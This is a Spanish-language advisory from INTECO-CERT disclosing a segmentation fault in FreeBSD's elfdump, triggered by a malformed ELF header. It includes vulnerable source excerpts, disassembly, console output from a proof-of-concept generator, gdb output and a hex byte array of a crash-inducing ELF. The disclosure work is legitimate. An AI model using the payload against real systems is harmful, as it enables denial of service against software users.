Advisory: ============================================================================ Software : elfdump Version : 1.12.8.2 2006/01/28 18:40:55 Autor : Jake Burkholder Remoto : NO Ejecución de código : NO Escalación de privilegios : NO Discubierto por: INTECO-CERT - David Reguera Garcia Exploit por : INTECO-CERT - David Reguera Garcia Descripción : Cuando elfdump analiza un elf malformado, la aplicación se cierra provocando un Segmentation fault: 11 Sistemas operativos afectados: - FreeBSD: - 5.5 - COMPROBADO Y FUNCIONA - 6.2 - COMPROBADO Y FUNCIONA - 6.3 - COMPROBADO Y FUNCIONA - Quizá otros, elfdump está disponible desde la versión FreeBSD 5.0 Reporte ---------------------------------------------------------------------------- http://www.freebsd.org/cgi/query-pr.cgi?pr=bin/120562 Información técnica: ---------------------------------------------------------------------------- El problema reside en el uso de le32dec, be32sec ... sin valid la dirección de entrada. Explotación ---------------------------------------------------------------------------- Un ejemplo de esta explotación puede ser la siguiente: En la función main, podemos encontrar la siguiente llamada: offset = elf_get_off(e, (char *)sh + shstrndx * shentsize, SH_OFFSET); sh: Area mapeada con el ELF malformado + e_shoff (desplazamiento de la cabecera de secciones), e_shoff, shstrndx y shentsize son usadas directamente desde el fichero mapeado. ¿Cual es el problema? elf_get_off, no verifica si la dirección está fuera de rango. Si usamos un e_shoff en un ELF fuera de rango, la aplicación provocará un Segmentation fault: 11 #define elf_get_off elf_get_quad u_int64_t elf_get_quad(Elf32_Ehdr *e, void *base, elf_member_t member) { u_int64_t val; val = 0; switch (e->e_ident[EI_CLASS]) { case ELFCLASS32: base = (char *)base + elf32_offsets[member]; switch (e->e_ident[EI_DATA]) { case ELFDATA2MSB: val = be32dec(base); break; case ELFDATA2LSB: val = le32dec(base); break; case ELFDATANONE: errx(1, "invalid data format"); ..... ¿Cuando se produce el Segmentation fault: 11? es fácil, por ejemplo un ELF con e_ident[EI_CLASS] ELFCLASS32 y e_ident[EI_DATA] ELFDATA2LSB, se ejecutará: val = le32dec(base); le32dec es la siguiente función inline: static __inline uint32_t le32dec(const void *pp) { unsigned char const *p = (unsigned char const *)pp; return ((p[3] << 24) | (p[2] << 16) | (p[1] << 8) | p[0]); } Esta función acceder a los valores en memoria de pp, si pp es una dirección de memoria con valores no leible, la aplicación se cierra provocando un Segmentation fault: 11 En otras palabras, si creamos un ELF malformado con un e_shoff malformado, la aplicación producirá un Segmentation fault. ( También se puede conseguir malformando otros campos: shstrndx, shentsize ...). He creado un POC Exploit para elfdump. En este exploit los valores de shstrndx y shstrndx son puestos a 0 por motivos de claridad. Compilar & ejecutar: [Dreg@ ~/vuln]# gcc -pedantic -ansi-c -o xpl xpl.c [Dreg@ ~/vuln]# ./xpl -f pocdump && echo "-" && \ echo " Executing elfdump....:" && elfdump -a pocdump __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c, v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $"); ---------------------------------------------------------- + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es + David Reguera Garcia - INTECO-CERT ---------------------------------------------------------- Note: run it with -h parameter to show help. Evil ELF written using e_shoff: 16777215, at: pocdump Now, try elfdump -a pocdump - Executing elfdump....: Segmentation fault: 11 (core dumped) Area de bajo nivel ============================================================================ El código en ASM de le32dec es: loc_80488DC: movzx edx, byte ptr [ebx+3] movzx eax, byte ptr [ebx+2] shl eax, 10h shl edx, 18h or edx, eax movzx eax, byte ptr [ebx+1] shl eax, 8 or edx, eax movzx eax, byte ptr [ebx] Si [EBX], [EBX+2], [EBX+3] o [EBX+1] son valores en memoria no leibles la aplicación causará un Segmentation fault. Nota ============================================================================ Este POC exploit puede provocar un Segmentation fault en otras direcciones de memoria además de 0x80488DC, por ejemplo: [Dreg@ ~/vuln]# ./xpl -o 20 -f petadump && echo "-" && \ echo " Executing elfdump....:" && elfdump -a petadump __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c, v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $"); ---------------------------------------------------------- + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es + David Reguera Garcia - INTECO-CERT ---------------------------------------------------------- Note: run it with -h parameter to show help. Evil ELF written using e_shoff: 20, at: petadump Now, try: elfdump -a petadump - Executing elfdump....: elf header: Segmentation fault: 11 (core dumped) En este caso, la aplicación produce un Segmentation fault en 0x28132f4f: 0x28132f4f <__vfprintf+9727>: repnz scas %es:(%edi),%al Este Segmentation fault es causado por la siguiente llamada en elfdump.c: fprintf(out, "\te_ident: %s %s %s\n", ei_classes[class], ei_data[data], ei_abis[osabi]); [Dreg@ ~/vuln]# gdb --core elfdump.core GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd". Core was generated by `elfdump'. Program terminated with signal 11, Segmentation fault. #0 0x28132f4f in ?? () Agradecimientos ============================================================================ Por si ayuda con la versión inglesa del advisory: - Javier Berciano - Ana Hijosa Otros ============================================================================ Payload generado con my ELF Fuzzer usado para descubrir este fallo: unsigned char payload[] = { 0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x39, 0x86, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xF0, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x06, 0x00, 0x28, 0x00, 0x18, 0x00, 0x15, 0x00, 0x06, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x34, 0x80, 0x04, 0x08, 0x34, 0x80, 0x04, 0x08, 0xC0, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x80, 0x04, 0x08, 0xF4, 0x80, 0x04, 0x08, 0x15, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x51, 0x06, 0x00, 0x00, 0x51, 0x06, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3C, 0x16, 0x00, 0x00, 0x3C, 0x96, 0x04, 0x08, 0x3C, 0x96, 0x04, 0x08, 0xD8, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x16, 0x00, 0x00, 0x4C, 0x96, 0x04, 0x08, 0x4C, 0x96, 0x04, 0x08, 0x98, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0C, 0x11, 0x00, 0x00, 0x0C, 0x81, 0x04, 0x08, 0x0C, 0x81, 0x04, 0x08, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, } ;